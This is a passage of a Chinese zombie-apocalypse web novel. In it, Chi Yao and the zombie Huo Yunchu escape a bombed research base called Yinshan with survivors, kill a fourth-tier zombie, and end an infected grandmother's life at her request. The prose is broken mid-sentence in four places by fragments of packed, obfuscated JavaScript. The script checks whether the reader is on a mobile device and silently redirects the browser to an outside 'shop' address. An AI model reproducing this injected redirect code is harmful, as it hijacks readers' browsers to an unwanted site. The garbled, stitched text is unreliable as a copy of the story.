这些病人其实只是轻微丧尸化,很难被察觉到。但对于霍云初而言,因为这些人服下的丧尸药中有他的成分,他感知这些植物人丧尸就像祖先对后代一样,只需看一眼就能够看透。 “那,你还要带你父亲离开吗?”池遥担忧地看向卢淼。 卢淼坐在床边,紧紧握着父亲的手,没有松开,却也没说话,只一个劲儿地掉眼泪。 “实在舍不得的话,我可以把它唤醒,让他跟着你离开,操控它不咬你。”霍云初在一旁诚恳提出意见。 池遥看了身旁的霍云初一眼。 尽管意识还在,外表也没发生任何改变,但身份的转变还是在一定程度上扭曲了霍云初的认知。 “不必了。”卢淼擦了一把眼泪,站起身来。 “我已经失去母亲了,不想再失去父亲。可是比起看着父亲成为丧尸到处害人,还不如让他体体面面离开人世。” 她最后检查了一遍昏迷不醒的父亲,整理了父亲身上的衣服,抚平衣服上每一处褶皱,最后将被子盖在了父亲身上,从头到脚全部掩盖住。 “他之后还有可能醒来吗?” 做完这一切,卢淼抬头看向霍云初。 “不会,如果我不干涉的话,他永远都会维持这个样子。” 霍云初摇摇头。 “那就,把他留在这里吧。”卢淼眼里闪动着泪光,最后一次回过头,久久凝视着床上被掩盖住的人形,过了许久,才和池遥二人一同出了门,这一次,她将自己的房门牢牢锁住。 彻底将她的父亲锁在了房间里。 然而,出了门,卢淼跑动的方向却不是出口方向,而是反方向。 “还有很多人不知道出口在哪儿,我得去告诉他们!”她跑向外面混乱的人群,“池遥,你们先离开吧!不用等我!” “我们也有事情要做,一会儿出口见!” 霍云初朝着她的背影喊道。 卢淼的身影很快就消失在人群当中,而霍云初和池遥二人依旧站在卢淼家门口没动,池遥抬头看看霍云初,忍不住问道。 “有什么事情?” “我们继续去看看大楼的情况吧。” 霍云初拉着池遥跑了两步,随后直接借着体型差单手捞起池遥,托着她让她坐在手臂上,快速朝大楼的方向跑去。 高等丧尸的速度和体力远超能力者,一旦全速行动,就形成一道残影。 池遥指引着霍云初一路跑到了她在隐山的住所,她的住处是富人区距离大楼最近的一栋洋房,她带着霍云初进了屋,顺手把房间里的物品收纳起来,为了隐藏吊坠的存在,池遥把自己在隐山购买的物资一分为二,一半装进吊坠,一半像普通人一样放在房间内,现在终于有机会把它们收起来了。而霍云初则打开窗户,观察着外面的情况。 隐山能力者明显奈何不了林北辰和他的手下,而在这场混战之中,埋伏在贫民区包围大楼的人手甚至不需要动手。 其中,林北辰最为引人注目,他一个人吸引了大部分火力,游刃有余地应对着各种朝他而来的能力。 这根本称不上是战斗,简直像是林北辰等人单方面的一场屠杀。 与此同时,他们身后的大楼忽然发出了一声巨响。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551002|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 大楼顶层的窗户打开,几个穿着防护服,看不清脸的人向下投掷了什么东西。 投掷的声音不大,数量却不少,吸引了所有人的注意力。 落在地上的东西骨碌碌滚到一个能力者脚边,他从未见过如此奇怪的东西,低头拿了起来。 “这是什么?” 这是一个类似于易拉罐,却没有拉环的小罐子。 然而,当这些罐子落地的瞬间,大楼前的能力对战却忽然停止了。 “我的能力呢?” 有不少能力者没反应过来,继续发动能力,却只能做出各种肢体动作,完全没有任何能力施放出来。 “屏蔽仪。” 守在窗口的池遥和霍云初同时开口。 与此同时,就在隐山众多能力者背后,大楼入口处大门突然从内部打开,从里面冲出一群穿着手术服的病人。 仔细一看,这些病人双眼发红,神色癫狂,动作也十分迅速,远远超出能力者,这些人朝着守在前方的能力者们扑去,有的能力者还没反应过来,就被身后的病人扑倒,撕扯下来一大块肉。 “怎么又是用我身上提取的病毒培养的丧尸。”霍云初看得头疼,捂着脑袋哀叹了一句。 高等丧尸与后代之间彼此连接,一天过去,他从孤家寡人瞬间变成了子孙满堂。 而池遥却愣在原地,没有说话。 这些穿着手术服的丧尸,大部分都是池遥认识的。 都是她在实验室帮Lee博士工作时,亲手帮忙完成手术的病人! 不仅如此,这些扑向能力者的丧尸有的开始大快朵颐,有的却忽然开始施展能力。 “不是有屏蔽仪吗?” 池遥看得十分不解。 “屏蔽仪只能屏蔽能力者的能力。”霍云初冷笑一声,“对丧尸的能力无效。” 一提到屏蔽仪,霍云初的态度就会迅速变差,池遥猜想霍云初可能清楚屏蔽仪的构造,刚想问她,却看到林北辰掏出对讲机,说了什么。 他们离得太远,根本没听到,但却发现,林北辰刚收起对讲机,埋伏在贫民区里的人就有了动静。 他们架起火箭筒,朝着大楼的方向,发射了一枚□□。 “轰——” 震耳欲聋的声音响起。 池遥和霍云初所在的地方距离大楼不远,也受到了影响,霍云初反应太快,第一时间拉着池遥远离窗户,他们无暇观察大楼被炸后的情况,急忙离开了小洋楼。 林北辰设置埋伏在贫民区内的小队共有六支,每个队伍各两人,根据刚才他们看到的情况,至少有三个队伍拿出了火箭筒,很快就要开始第二波攻击。 不知道林北辰带来的弹药究竟有多少,他或许在来到隐山之前,就没打算留下活口。 池遥此时十分庆幸身边还有霍云初这个丧尸,他的速度太快,很快就来到了贫民区。 “我们去出口找卢淼!”池遥拍拍他的肩膀。 这一次,他们急着逃命,根本没机会找小路,幸好埋伏起来发射弹药的人全处于贫民区内,弹药不会朝着自己人的方向打,这里暂时是安全的。 往日人流拥挤的贫民区内此时空空荡荡,能跑动的幸存者们全都跑去出口了。 然而,走过满是平房和简易棚屋的大路,霍云初忽然放慢了速度。 趴在他背上的池遥也发现,有几间屋子里还点着灯。 “去看看?”霍云初问她。 池遥从他背上跳下来,点点头。 76. 隐山秘闻9 霍云初敲响了最近的一扇门,来开门的是个十几岁的孩子,只穿了一件比他的身形大了不少的卫衣,脚上的鞋子脏得看不出本色,明显比他的脚大了一圈。 “大家都走了,你怎么不走?”霍云初问话时,池遥看向屋内,看到房内的地铺上并排躺着两个中年人,一男一女,均陷入昏迷。 “我想和爸妈待在一起。”少年回过头,看向床上的人,眼里闪着泪光。 他年纪太小,太早遇到了这些祸事,早就丧失了希望,也放弃了逃跑。 外面的轰炸还未停止,时不时传来一阵巨响,在屋里听得清清楚楚。 池遥张口想说些什么,又一句话都说不出来,她看着这间破旧的房屋,除了一个地铺什么都没有,心里泛酸。 “你爸妈已经变成丧尸了。”霍云初的语气很平淡,“即便他们醒来了,也只会是丧尸。” “怎么可能?” “怎么不可能?那些研究员发的是让人变成丧尸的药。” 霍云初站在门口,盯着少年的眼睛,他的语气越平静,越令人信服。 “不可能!我爸妈只是昏迷了,只要好好休养,肯定会醒来的!” 少年脸色发白,身体也在发抖,嘴上却还在自欺欺人。 霍云初的目光落在少年身上,许久,没说话,只叹了口气,伸手揉一把少年脏兮兮的头发,打开房门示意池遥一起离开。 那孩子的刘海已经遮挡住了眼睛,头发有些长,显得不伦不类,有些邋遢。 离开前,池遥回过头看了一眼房中的少年,他坐在地上,抱着膝盖不知道在想什么。 “隐山的出口在东南方向的一片小树林里,有两颗树中间夹着一面全身镜,穿过镜子就能离开隐山。” 她放大音量说道。 这一路,霍云初和池遥快步离开,但每次遇到亮灯的房屋,就进去看看。 有些是房主离开得匆忙,有些是家中有“病人”要照顾,遇到这种情况,霍云初会第一时间出面告知病人的丧尸身份,池遥则告诉对方出口的具体地点。 还有时,是房内的幸存者患了重伤或重病,难以离开。池遥耗空了从丧尸身上吸收的生机,尽可能治愈了每个人的伤口。 小树林越来越近了,二人加快速度,然而,距离出口越来越近,池遥脑海中却忽然冒出一个想法。 林北辰不惜杀光隐山所有能力者,也要找出道具,他们真的能顺利离开吗? 来到出口处,霍云初拉着池遥,二人一跨过镜面,就听到了密集的枪声,霍云初第一时间挡在了池遥身前,施展能力反击。 池遥被护在青年身后,一只手抵着霍云初的背,发动能力治疗他身上的擦伤,余光瞥见脚下蜿蜒的血流。 在他们脚下,是交叠在一起的尸体。 层层叠叠,无穷无尽。 在出口不远处,停着两辆黑色商务车,车前站着一位头发花白的老者,他身边围着一圈身形魁梧的黑衣人,全部手持木仓械,对准了他们。 然而,霍云初的速度太快了。 他单手拖着池遥,几下闪现到老人面前,一手把池遥朝着老人的方向丢过去,另一只手夺过黑衣人手里的枪,几下解决了所有黑衣人。 而被丢进敌人中心的池遥第一时间伸手攥紧了老人的脖子,迅速发动能力,抽取掉老人的生命力。 她的动作全部出于本能,直到面前的老人变成一具尸体,她才发现这个人她似乎有几分熟悉。 “翁老?” 听到她的声音,一旁的霍云初走过来,端详着地上的尸体。 “沈家的人。” “我刚到这个世界的时候,就是看到他要杀林北辰。”池遥开口说道。 “他们都算是沈家人,不应该啊。”霍云初低头检查老人的外套口袋,没翻出任何东西,最后索性把他浑身上下翻了个底朝天,把东西交给池遥后,又去翻下一个人。 “林北辰姓林吧。”池遥反驳。 “他又不是林家的狗,他主人姓沈。” 检查完翁老和手下的尸体,池遥的空间内又多了几套衣服和一些零碎物品,顺便又把车里扫荡一通,两人却没离开,检查起出口附近的尸体。 池遥起初还会在心中默数尸体数量,但附近的尸体实在太多了,翻找尸体的时候,池遥看到了不少熟悉的面孔,这些人或许曾经与她有过对话,也许不久前还和池遥同行过。 但此时,只剩下横亘在脚边的尸体。 在池遥和霍云初检查尸体的时候,又有不少幸存者从镜中走出,有些畏惧脚下的尸体,加速离开,有些则在尸体中找到了熟人,面露悲戚之色。 “池遥!” 出口前,传来了熟悉的喊声。 卢淼刚刚从镜中跑出来,还拉着一个和她年纪相仿的女孩的手,身后跟着一个六七十岁的老人,老人怀里抱着一个襁褓中的婴儿。 “上车!”霍云初指了指一旁的车,朝着留在出口处的所有幸存者喊话,“不知道里面的人什么时候会出来,这里不能久留!我把你们送到山下!” 贫民区的幸存者大部分都是山下村镇的居民,闻言急忙出言感谢,迅速上车。 除了霍云初之外,还有一位会开车的幸存者自告奋勇上了另一辆车的驾驶位,车上所有物品已经被池遥提前收走,里面空空荡荡,大家把能收起来的座椅全部折叠,九座商务车内硬生生挤进了几倍的人。 池遥坐在霍云初身边的副驾驶位,一个人独占宽敞的位置,倒是免去被人群拥挤的麻烦。 她一直隔着车窗关注外面的情况,霍云初刚发动车子,准备出发时,却听到池遥急促的声音。 “你看!” 霍云初急忙朝窗外看去。 贫民区的幸存者已经尽数逃出,然而此时,出口处再度出现了一个小小的人影。 人影十分瘦弱,显然是个孩子,穿着不合身的衣服和鞋子,孤零零地站在镜子前。 一辆黑色商务车调头,停在了孩子面前,副驾驶的车门骤然打开,从里面伸出一只手,把他拽了进去。 车里的幸存者实在太多了,塞不下一个孩子,只有池遥所在的副驾驶位略显宽敞,池遥朝霍云初的方向挪了挪,让出一个小小的位置,打开车门把少年拉了进来。 是那名原本要留下陪伴变成丧尸的父母的孩子。 车门再度关紧,霍云初踩下油门,顺着地上的车辙印向山下驶去。 另一辆车紧紧跟随着前车的影子,这辆车上的幸存者数量比池遥所在的车还要多,一群幸存者挤在最后一排动弹不得,有人忽然惊呼一声。 “天啊!” 透过车窗,他隐隐看到,原本隐藏在山中,看不到摸不着,仿佛被无形的屏障笼罩的隐山研究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562060|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 基地,突然显形,与山地格格不入的一片废墟远远看去十分突出。 “隐山的保护罩没有了!” 只是转瞬之间,将隐山与现实世界隔绝开来的屏障彻底消失。 然而,此时的隐山已经彻底看不到大楼的形状了,研究大楼被炸成了一片废墟,富人区的小洋房也被荡平,遭到摧毁最少的竟然是贫民区。 但是,一旦屏障消失,隐山内部的林北辰等人很快就会发现守在出口处的翁老遭袭。 池遥所在的车上,也有幸存者发现了这一情况,车内一片惊讶的讨论声。 顾及身旁的少年,池遥半个身子倾斜到霍云初旁边,车子一晃动,她的肩膀就会撞到霍云初的肩,听到身后的声音,她侧过头,看了霍云初一眼。 人太多了,她不方便和霍云初交流,而就在她看向对方时,霍云初握着方向盘的一只手轻微抬起,手肘收着力气轻拱了池遥一下。 池遥立刻明白了,霍云初也想到了她想要暗示对方的事。 最开始,池遥以为笼罩着隐山的保护罩和吴心语的保护罩一样,是能力者施加能力的作用。 然而,在屏蔽仪的作用下,隐山外围的保护罩却仍旧没有消失。 因此,这并非能力的作用。 通过镜子离开隐山时,池遥又认为或许这里就是个与众不同的世外桃源,是一个说不清的奇迹。 然而,此时隐山外的保护罩消失了。 林北辰带队入侵隐山,给出的理由是有人私藏道具,既然给出这样的理由,他们一定有证据证明隐山确实有道具存在。 难不成,隐山外的保护罩是道具的作用? 池遥手中的道具还太少了,对道具不了解,因此很多一时无法看透的现象,她还没办法将这些与道具连接在一起。 然而,事实就在眼前,将隐山牢牢包围,一直保护隐山免受外界侵扰的保护罩,是道具的作用。 现在保护罩消失,是林北辰终于拿到道具了吗? 还是说,是持有道具的人关闭了保护罩? 如果林北辰等人没找到道具,出来后又发现堵在外面的翁老等人遇害,一定会认为持有道具的人在她和霍云初的车队当中。 车子开出隐山,霍云初却并未在山脚停下,而是一直朝外开去,车子时不时会驶入杂乱的小街,绕几个圈子再继续向前,池遥知道霍云初这是担心被林北辰等人追踪。 最后,车子在一片空荡荡的小村子前停了下来。 “这个村子附近没有丧尸,你们可以在这里下车离开了。”霍云初走下车,等所有幸存者们下车后,开口道。 然而,长期受隐山庇佑,没有能力,手无寸铁的幸存者们却露出惶恐不安的神色,用求救的目光看向池遥和霍云初二人。 “两位,你们要把我们抛弃在这里吗?” “你们是能力者,可不能不管普通人!” “两位,你们留下来吧!或者带着我们走也行!” 面前就是空荡荡的村落,不远处还有荒芜许久的农田,然而,没人因为新住所感到开心,全部用恳切的眼神望向池遥二人。 “你们要跟着一个丧尸吗?” 霍云初冷眼扫视着围着他的人群,把池遥拉到背后,嗤笑一声,语气中有不屑。 “我是丧尸,如果想被我吃掉,被当做储备粮的,尽可以跟着我!” 77. 海城研究院1 霍云初此话一出,周围顿时鸦雀无声。 围上来的幸存者们脸色煞白,一言不发,像躲避瘟神一般远远退后,霎时,霍云初身旁再次只剩池遥一人。 胆子小的幸存者已经头也不回的跑进了村子,还有几个幸存者留在原地探头探脑,目光尽头却是站在霍云初身后的池遥。 池遥刚想开口再劝几句,就听到霍云初不耐烦的声音。 “盯着我的人质干什么?要不然你们留下替她做人质?” 这下,剩余不多的幸存者们全都跑的没影了。 “还是这个办法有效。” 霍云初长叹一口气,转过身来,正对上池遥不赞同的目光。 “如果林北辰派人追踪到这里,你的身份很快就会暴露。” “只是身份暴露而已,他们又逮不到我本尊。再说我之前被抓做研究,身份早就暴露了。” 霍云初随意耸耸肩,站在原地为池遥打开副驾驶车门,目光朝着车内扫视一圈,动作忽然僵住了。 驾驶座与副驾驶后面,整整齐齐的坐着一群人,卢淼和她的好朋友坐在最前面,后面的人也都是卢淼的熟人,有几人看到霍云初,不好意思地低下了头。 “你们没下车?”霍云初不悦地蹙起眉,“没听到我刚才的话?” “听到了。”卢淼身旁的女孩怯怯出声。 “我们想跟你走。”卢淼接过她的话,“这样,等你想吃掉池遥的时候,不要吃掉她,先吃掉我们。” 霍云初侧过头,与池遥对视一眼。 他还没来得及开口,池遥突然短促地惊呼一声,他这才发现,在池遥背后,还站着一个熟悉的孩子,正是离开隐山前被她拉到身边的那一个。 “你又是怎么回事?” “我也想跟着你们。”察觉到霍云初不怎么好看的神色,少年低下头,嗫嚅道,“我也不知道该去什么地方,你如果想吃我,就吃掉我吧。” 霍云初看看车内的几人,又看看身旁不知什么时候露出了欣慰笑容的池遥,还有池遥身旁的孩子,这些人加在一起不过十人,但一辆商务车显然装不下,最终,他妥协地叹了口气。 “有人会开车吗?” 很快,就有另一个人钻进了另一辆车驾驶座中,霍云初把跟着他们的幸存者分为两拨,大部分人去了第二辆车,霍云初和池遥的车上此时只有卢淼和她的朋友,还有年纪不大的少年。 车子再次启动,远离平静的村落。 “你有什么打算?”池遥问霍云初。 “你有想去的地方吗?”霍云初显然也没主意。 “我想找到我的朋友,但不知道该去哪儿。”池遥坦诚开口,除了隐山,她只知道幸存者聚集地和北方基地两个避难所,可聚集地与隐山有合作关系,北方基地的林北辰不待见她,而且她已经询问过林北辰和他的手下是否认识曲卓,曲卓大概率不在北方基地。 听了她的话,霍云初轻轻叹了口气。 “你确定你朋友......在H国?” 池遥不能确定。 不仅如此,她甚至不能确定,曲卓还在这个世界。 想到这里,她也跟着叹一口气。 “那先想别的事。”霍云初听到池遥的叹气声,心凉了半截,又放大音量,说给后面的卢淼等人,“我只能载你们一程,我和池遥还有其他的事情,没办法和你们一起,但你们放心,我们一定会给你们找到一个安全可靠的新住处。” “......真的不能一直在一起吗?” 卢淼的声音有几分低落。 “我是丧尸,不能一直和人类混在一起,至于池遥——” 池遥的目标只有一个,找到曲卓。 如果真能找到曲卓,她肯定会和曲卓一起回故乡,若是找不到曲卓,池遥只会一直不停找下去。 “我和一个朋友失散了,一直在找她。”池遥放柔了声音,“就是我之前给你们看的寻人启事,找到她之前,我不会安定下来。” 霍云初和卢淼等人只是和她互相扶持着走一段路的同伴,就像之前的郑承和吴心语那样,大家总会迎来分别的。 “还有一件事,”霍云初忽然看向池遥,神色变得有些严肃,“池遥,你之前不是没有找到你的研究资料吗?林北辰他们把大楼炸平了都没找到那些研究员,如果那些研究员还活着,你的资料一旦传开,会很危险。” “幸存者聚集地不是也派人进入大楼了吗,那些研究员大概率是被聚集地的人带走了。我们现在朝着幸存者聚集地开吧。” 池遥自然没有意见,她点了点头,又看着霍云初的脸色。 “可是,我的研究资料就算暴露了好像也没什么问题吧?我是能力者,也没什么奇怪的。” 这个世界不会把能力者细分为天赋者和觉醒者,似乎没什么问题。 “你不明白,你的能力是治疗,他们能对你做出什么恐怖的事。” 对此,霍云初只苦笑着说了一句池遥完全不懂的话。 几个小时后,大家找到了一处相对安全的空地,停下来烹饪休整。 池遥在隐山时用自己的薪水兑换了大量物资,现在正好可以拿出来分给大家,而作为丧尸的霍云初不需要吃东西,等池遥吃完饭后,就拉着她走到了远处。 “你身上有屏蔽仪吗?” 他问道。 池遥找出吊坠里的屏蔽仪,递给了他。 屏蔽仪一出现,池遥的能力就被屏蔽了,但霍云初并未受到影响,他徒手撕开了易拉罐表面的金属外壳,递给池遥。 几乎是外壳被损坏的瞬间,池遥就闻到了一股令人作呕的腥臭味。 易拉罐内的,是一块惨白的肉,周围还有干涸的血迹,仿佛已经腐烂了上百天,散发出一种堪比化学攻击的发酵味道。池遥一接近,就被易拉罐里的气味熏得忍不住干呕。 见池遥看清了里面的东西,霍云初接过易拉罐,指尖冒出火焰将易拉罐连同里面的烂肉烧成灰烬,池遥这才终于感觉到自己的能力恢复。 “这是一个高等丧尸的能力。”霍云初的声音很平静,“他们把这只丧尸养殖起来,切下它的血肉,做成屏蔽仪。” 池遥愣住了。 她从未想过,屏蔽仪竟然是这样做成的。 “池遥!” 两人坐在远离幸存者的地方,忽然听到远处传来卢淼的惊叫。 “怎么了?” 池遥连忙起身,和霍云初一同赶过去,却发现幸存者们此时围成了一个圈,目光紧盯着地上的影子。 “我们的影子好像会动!” 少年喊了一声,池遥低下头,被映照在地面上的影子看起来没什么问题,池遥微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16567770|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微侧身,却发现自己影子的脊背上,似乎长着什么东西。 “退后!” 霍云初猛地拽住她的手,朝后一拽,就在池遥身体急速后退的同时,地上的影子中却突然冒出两只手,朝着池遥原本站立的地方袭来! 然而,霍云初的动作更快! 借着拉池遥的反作用力,他飞快地朝地面扑去,一只手迅速钳住从地面伸出的手臂,硬生生把地下的东西拉了出来! 那竟然是一只上身暴露在外,浑身青紫,匍匐在地,用四肢爬行,脊背上还长着三只手臂的异形丧尸! “四阶丧尸。” 霍云初喃喃道。 池遥第一次见到这样的丧尸,她立刻从吊坠中拿出钢管,朝着呆站在一旁的幸存者们大喊:“快回车上!” 这些幸存者一直待在隐山的屏障内,哪儿见过四阶丧尸,有不少人呆站在原地,吓得动弹不得,第一个反应过来的是年纪最小的少年,他一把拉起卢淼的手,扯着卢淼朝着停车的地方跑去。 尽管无法行走,但丧尸的爬行速度比跑动的速度快了不少,见有人动了,立刻就要追上去,池遥跟在后面一钢管削在它的脊背上。 “我抽取了它的能力,现在已经不需要在乎影子了!” 霍云初喊了一声,赶到丧尸正前方,一手甩出一团火焰,阻断丧尸的前路。 池遥在背后再次狠狠用力,尖利的钢管削掉了它背后的一条手臂。 从上个世界到现在,她的力量强大了不少,然而用尽全力,才将将削断一根胳膊,四阶丧尸的身体比她想象得更加坚硬。 她还得变得更强才行。 “你也回去!” 霍云初动作不停,冒着火焰的一手捏着脖颈将丧尸拎起,另一只手戳进胸膛,单手穿透它的躯干! 池遥看准时机,用尽全力狠狠砸向丧尸的头颅! “嘭!” 连砸三下,砸得丧尸的头颅彻底碎裂,霍云初顺势将丧尸甩到地上,随着他的动作,一个晶莹明亮的东西从丧尸一团浆糊的头颅中甩了出来。 池遥蹲下身,捡起地上的晶核。 四阶丧尸的晶核是细长的橄榄型,色泽柔润,池遥对着天光欣赏了几秒,放进吊坠中。 另一边,霍云初清理了一番溅到丧尸污血的脸,两人对视一眼,又齐齐看向地上的丧尸尸体。 “真厉害!”英俊的青年朝她弯了弯眼睛。 “我没想到这个世界的丧尸这么强大。”望着地上的尸体,池遥心中一阵后怕,她收起自己的钢管,武器虽然趁手,但杀伤力并不大,她该换一个新武器了。 二人齐齐朝着两辆车停靠的方向走去,还没到车前,就见到少年下了车,跑到池遥面前。 “怎么办?王奶奶被抓伤了!” “什么?” 王奶奶是和卢淼一起离开隐山的老人,丧尸爆发时,她带着女儿和刚出生的外孙女住进了隐山,女儿后来因试药变成了丧尸,她一个人带着尚在襁褓里的婴儿逃了出来。 王奶奶身体十分虚弱,怀里的婴儿也很瘦小,一路上很少哭闹,大部分时间乖乖待在姥姥怀里。 池遥和霍云初的车上,王奶奶一个人坐在车上,怀里还抱着婴儿,婴儿习惯性地含着老人的手指,可池遥和霍云初一眼就看到老人的手背上有一道新鲜的刮痕! 78. 海城研究院2 除卢淼和少年之外,其他人都上了另一辆车。而卢淼和少年则站在王奶奶所在的车门前,守着被抓伤的王奶奶。 池遥第一个跑过去,握住王奶奶微微颤抖的手,发动能力试图治愈这道小小的伤口。 然而,当掌心的热流接触到伤口的瞬间,池遥的神色一僵,随即肉眼可见地低落下来。 她感受到了,王奶奶已经被感染了,她的能力只能治愈外伤,却无法根治丧尸病毒。 霍云初比池遥更早意识到这一点,然而,他的神色却满是震惊,目光仿佛被禁锢在王奶奶身上,无法移开。 “你的手......” 他的目光凝聚在王奶奶放在婴儿口中的手指。 众目睽睽之下,王奶奶缓缓抽出手,指尖鲜血淋漓,饥饿的婴儿没尝到鲜血的味道,立刻嚎啕大哭起来。 “你被感染了,它喝了你的血......”霍云初少有地吞吞吐吐起来,他迟疑了半天,语气很轻,“它不是,也会被感染吗?” 发现王奶奶被感染后,比起着急的池遥等人,神色最为平静的反而是当事人王奶奶,然而,听到霍云初的话,她才后知后觉地瞪大了眼睛,看向怀里的婴儿。 王奶奶同样是第一批来到隐山的普通人,与刚刚生产的女儿相依为命,比起其他普通人,她们二人体弱多病,又带着一个婴儿,生活比贫民区其他幸存者还要拮据。 因此,得知试药的消息,女儿主动报名,将婴儿留给了王奶奶。然而,几日后,再次见到女儿时,对方却彻底没了人样,与行尸走肉毫无区别,连亲生母亲与自己诞下的孩子都认不出来。 女儿昏迷不醒后,婴儿彻底断粮,隐山的物资里也没有能够喂养婴儿的食物,听着屋内婴儿的啼哭声,王奶奶第一次扎破了自己的手指,塞进了婴儿口中。 她能感受到,婴儿在缓缓吮吸着手指上的伤口。 这作用微乎其微,但往日因饥饿大哭的婴儿却因此而镇静下来,乖巧地含着姥姥的手指,不再哭闹。 久而久之,王奶奶就养成了这个习惯。 每当她盯着躺在床上,人事不省的女儿,当她神色呆滞地看着研究员们带走无力交付房租的邻居,当她绝望地想到隐山之外的惨烈景象...... 她总会第一时间割破手指,塞进婴儿口中。 只有听着婴儿的吮吸声,她才能感觉到,她这个风烛残年的老人留在世间还是有用的。 婴儿在无形中吞咽下她本就所剩无几的寿命,而王奶奶却愈发愧疚。 愧疚自己的外孙女生在这样毫无希望的末世。 也愧疚自己除了性命,没有更多能留给外孙女的东西。 “我活不了了。”王奶奶的声音十分平稳,然而她的语气越是平淡,越让一旁的池遥等人心酸。 “这孩子,她才不到一岁。她爸爸早就变成丧尸了,妈妈也成了丧尸。现在,我也被感染了。” “与其让她一个人孤零零活着,之后被丧尸吃掉,还不如让她现在变成丧尸,我们一家在地下团聚。” 池遥沉默着,没说话,一旁的卢淼眼里泛起了泪光。 说完这些话,王奶奶抱着婴儿,动作蹒跚地下车,走到了霍云初面前。 “霍先生,你是丧尸,趁我还没变成丧尸,您杀了我,把我当成您的口粮吧,晚点再吃卢淼她们。” 霍云初半晌没接话,他的神色十分错愕,似乎还没从巨大的震惊中拜托出来,过了一会儿,他才叹了一口气。 “你们先上车。” 说的是卢淼和一旁的少年。 等两个人全部上了车,关好车门,霍云初才转身,面向王奶奶。 池遥注意到,面前的王奶奶仍旧是一副人类模样,并没有任何变成丧尸的征兆,在她的故乡,人一旦被丧尸咬到,几分钟以内就会迅速转化为丧尸,看来在这个世界,被丧尸感染后还有一段潜伏期。 “王奶奶,我不会吃掉他们的,也不会吃掉您。”霍云初的语气十分温和,他凝视着王奶奶,神情复杂,似乎在做出一个无法扭转的决定。 池遥后退了一步,站在相对而立的二人侧面,静静聆听他们的谈话。 “我现在想问您一个非常重要的问题,请您一定要遵从本心回答我。” 霍云初的语气十分郑重。 “您,想继续活下去吗?” “我这老婆子已经要变成丧尸了,你问这个问题有什么用?” 王奶奶躲避开霍云初的视线,苦笑道。 “您只管回答就好。” “我不想。” 没想到,王奶奶斩钉截铁地给出了和池遥的预期相反的答复。 “我辛辛苦苦活了一辈子,年轻的时候希望找个好丈夫,结婚后想经营好家庭,有了孩子之后希望孩子成才,女儿长大后希望她找个好归宿。最后希望抱个小外孙,家庭和睦,儿女幸福,我的梦想就算是实现了。” “但这短短半年,我不知道经历了多少次白发人送黑发人的惨剧,到现在,全家只剩下我一个老太太,我恨不得立刻死去,一家人在下面团聚。” “您,真的不想?” 霍云初垂下眼帘,池遥在一旁安静地观察,觉得他的神色很奇怪,有些难过,有点遗憾,又仿佛奇异的松了口气。 王奶奶神色坚决地摇了摇头。 “最后还是要拜托你最后一件事。” “霍先生,我不想变成丧尸后继续浑浑噩噩地活着,趁着我还没完全变成丧尸,您杀掉我吧。” 霍云初迟疑了一会儿,最终伸出一只手。 他抽取了不少丧尸的能力,此时正准备用能力了结王奶奶的性命。 然而,有另一只手从侧面伸过来,截住了他的手。 “我来吧。” 池遥终于开口,她走上前,动作温柔地握住了王奶奶的手。 许是因为被感染的缘故,王奶奶的手很冷,双手交握间,池遥掌心的温度轻柔地流淌到老人身上。 柔和的热意顺着指尖蔓延至脉搏,逐渐温暖了四肢百骸。 “一路走好。” 池遥的声音很轻。 紧接着,老人的眼睛蓦地睁大,连一声哀嚎都没有发出,沉寂着,坠入到了冰冷的黑暗中。 池遥以最快的速度抽干了老人的生命。 她接住老人摇摇欲坠的尸体,合上老人的眼睛,又抱起老人怀中双眼大睁,对一切一无所知的婴儿。 霍云初站在池遥身边,蹲下来,帮池遥一同接住老人的尸体,忽然感觉手背一热。 丧尸没有体温,他的身体冷得像冰,但此时,有某种难以形容的热流顺着相连的掌心,缓慢流淌进他的体内,带来近似烧灼的热度,所过之处,抚平了他刚刚为对付四阶丧尸而产生的细小伤口,在他冷冰冰的身体中留下了仅有几秒的热意。 “我一次只能储存一个个体的生命力。”池遥解释道,在抽取了一个人的生机之后,若是想要再次使用能力,必须先将存储的能力消耗掉,才能继续抽取。 过了一会儿,池遥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 